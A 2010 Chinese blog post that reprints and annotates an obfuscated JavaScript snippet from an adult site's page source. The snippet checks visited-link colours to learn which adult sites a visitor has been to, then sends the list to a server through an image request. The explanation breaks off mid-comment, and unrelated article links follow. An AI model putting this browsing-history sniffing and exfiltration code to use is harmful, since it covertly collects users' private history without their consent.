悄悄用脚本检查你访问过哪些网站的代码


Posted in Javascript onDecember 04, 2010

打开它的“页面源文件”,你能找到一段加密过的JS脚本:

function ypol(){ 
//K是一个对象,实际上是一个数组。存了一堆加密过的pr*n站链接。 
var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"bevmugsjfoeg joefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",5:"yoyy/d pn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",8:"yibntufs /dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",11:"c sb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",14: "gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dp n",17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nby qpso/dpn",20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsop sbnb/dpn"}; 
var g=[]; 
for(var m in k){ 
var d=k[m]; //遍历k中的元素赋值给d 
var a=""; 
for(var f=0;f<d.length;f++){ 
a+=String.fromCharCode(d.charCodeAt(f)-1); 
}/* 这里把d中的每一条字符都还原了。 
* charCodeAt(char) 函数返回char的ascii码 
* String.fromCharCode(asccii) 返回ascii码对应的字符 
* 然后把结果赋值给a 
* 比如第一次循环,a的值就是 qpsoivc/dpn -> pornhub.com 
*/ 
var h=false; 
/* 
* 这个循环创建A对象并让链接赋值为 http://a/ 和 http://www.a/ 
* 为什么要循环来2次,目的是为了准确性 
* 访问 http://example.com/ 和 http://www.example.com/ 对于浏览器来说,是不同的域名 
* 所以要区别对待 
*/ 
for(var j in {"http://":"","http://www.":""}){ 
var l=document.createElement("a"); //创建一个A对象 
l.href=j+a; 
document.getElementById("ol").appendChild(l); 
// A对象附加给一个id为ol的元素上,要附加在一个在DOM树上的元素,浏览器才会render这个元素,并设置合适的CSS 
var e=""; 
if(navigator.appName.indexOf("Microsoft")!=-1){ 
e=l.currentStyle.color; //取IE中A对象的颜色 
}else { 
e=document.defaultView.getComputedStyle(l,null).ge tPropertyValue("color"); 
//取其他标准浏览器的颜色 
} 
if(e=="#0c2238"||e=="#0c2238"){ 
/* 
* 如果是紫色,就表示访问过此站点。 
* 浏览器默认给访问过的链接标记为紫色 
* a:visited{color: #123456} 
*/ 
h=true; 
} 
} 
if(h){ //如果访问过,把站点加入列表g 
g.push(m); 
} 
} 
var b=(g instanceof Array)?g.join(","):""; //把g由数组变成字符串 
var c=document.createElement("img"); //建立一个img对象 
c.src="http://ol.youporn.com/blank.gif?id="+b; //img的src指向自家服务器上的一幅图像,关键是附带上了g数组的值 
document.getElementById("ol").appendChild(c); //加入DOM树,理由跟前面的A一样 
/* 
* 以一次图片访问,在web-server
Javascript 相关文章推荐
基于jQuery的ajax功能实现web service的json转化
Aug 29 Javascript
图片延迟加载的实现代码(模仿懒惰)
Mar 29 Javascript
javascript向后台传送相同属性的参数即数组参数
Feb 17 Javascript
JavaScript判断变量是对象还是数组的方法
Aug 28 Javascript
AngularJS使用angular-formly进行表单验证
Dec 27 Javascript
JS清除字符串中重复值的实现方法
Aug 03 Javascript
JS实现漂亮的时间选择框效果
Aug 20 Javascript
AngularJS实现与Java Web服务器交互操作示例【附demo源码下载】
Nov 02 Javascript
vue 1.x 交互实现仿百度下拉列表示例
Oct 21 Javascript
echarts多条折线图动态分层的实现方法
May 24 Javascript
React 全自动数据表格组件——BodeGrid的实现思路
Jun 12 Javascript
ES6中Symbol、Set和Map用法详解
Aug 20 Javascript
jQuery)扩展jQuery系列之一 模拟alert,confirm(一)
Dec 04 #Javascript
高效的表格行背景隔行变色及选定高亮的JS代码
Dec 04 #Javascript
javascript innerHTML使用分析
Dec 03 #Javascript
统计出现最多的字符次数的js代码
Dec 03 #Javascript
解决jquery的.animate()函数在IE6下的问题
Dec 03 #Javascript
基于jQuery的左右滚动实现代码
Dec 03 #Javascript
基于jquery的finkyUI插件与Ajax实现页面数据加载功能
Dec 03 #Javascript
You might like
main.php
2006/12/09 PHP
解析左右值无限分类的实现算法
2013/06/20 PHP
php中的PHP_EOL换行符详细解析
2013/10/26 PHP
PHP输出缓冲控制Output Control系列函数详解
2015/07/02 PHP
php实现模拟post请求用法实例
2015/07/11 PHP
PHP获取访问页面HTTP状态码的实现代码
2016/11/03 PHP
JavaScript Event学习第二章 Event浏览器兼容性
2010/02/07 Javascript
js iframe跨域访问(同主域/非同主域)分别深入介绍
2013/01/24 Javascript
js截取字符串的两种方法及区别详解
2013/11/05 Javascript
使用js完成节点的增删改复制等的操作
2014/01/02 Javascript
jQuery实现页面滚动时动态加载内容的方法
2015/03/20 Javascript
javascript实现Table排序的方法
2015/05/15 Javascript
轻松学习jQuery插件EasyUI EasyUI创建树形网络(1)
2015/11/30 Javascript
jquery中键盘事件小结
2016/02/24 Javascript
Javascript for in的缺陷总结
2017/02/03 Javascript
vue和webpack打包项目相对路径修改的方法
2018/06/15 Javascript
element-ui表格列金额显示两位小数的方法
2018/08/24 Javascript
electron中使用bootstrap的示例代码
2018/11/06 Javascript
js实现全选反选不选功能代码详解
2019/04/24 Javascript
详解如何提升JSON.stringify()的性能
2019/06/12 Javascript
vue中使用v-model完成组件间的通信
2019/08/22 Javascript
js实现左右轮播图
2020/01/09 Javascript
vue 动态设置img的src地址无效,npm run build 后找不到文件的解决
2020/07/26 Javascript
Vue+Java+Base64实现条码解析的示例
2020/09/23 Javascript
jQuery实现容器间的元素拖拽功能
2020/12/01 jQuery
Python发送Email方法实例
2014/08/21 Python
Python的math模块中的常用数学函数整理
2016/02/04 Python
Python if语句知识点用法总结
2018/06/10 Python
Python3.8中使用f-strings调试
2019/05/22 Python
python 浅谈serial与stm32通信的编码问题
2019/12/18 Python
Selenium之模拟登录铁路12306的示例代码
2020/07/31 Python
html5小程序飞入购物车(抛物线绘制运动轨迹点)
2020/10/19 HTML / CSS
享誉全球的多元化时尚精品购物平台:Farfetch发发奇(支持中文)
2017/08/08 全球购物
欢迎领导标语
2014/06/27 职场文书
2014学习优秀共产党员先进事迹材料思想汇报
2014/09/14 职场文书
文明礼貌主题班会
2015/08/14 职场文书